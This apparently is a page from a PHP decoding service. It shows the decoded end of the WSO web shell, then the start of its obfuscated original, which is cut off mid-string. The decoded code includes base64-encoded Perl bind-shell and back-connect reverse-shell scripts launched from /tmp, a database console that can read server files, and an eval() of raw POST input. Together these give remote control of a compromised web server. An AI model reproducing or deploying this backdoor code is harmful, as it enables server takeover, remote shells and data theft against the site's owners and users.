						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php $rsUjRGkQi = "b99c61acedb54c5253819b7b4f2d88c6";$VhWeCWNFW2 = false;$kWvTr5oSa = "826d7cde08d11b8e031e3d9a2fae894a279fed70";$bFmoBudfaQ = 62077;$WVIUwVP = 12792;$ZeQLLwpO = false;$IyUvHdgfgrQZ = "YxMmVl6";$q1JeuuChT9 = "";$bbwMnwWnz8UO = "43920326a82d5d83c916bcd90d86d4a8e2dcab0e";$EjktQpXk = "UUzUBIKT";$ng1qQiffXt = 38779;$dTVFPp = "d0077f523e0537495c909c3383522fee";$fntIhYkuT = "0c94f34f6c2f2b4a74c55239313625e1";$dupyaRbAHp = "";$s9vPsnGG = "daicmAD";$wIyULObFqG = "Pi3KTiqS";$TB5tCjayLK = 45762;$wBAu2z2prK = false;$mLxzxGeWZh = true;$sP4TGh3TB = "90eb0cdb86d79f02841569c7f18669e411178672";$efgYvOWW9 = true;$UNpYoGwn = 52084;$o = array('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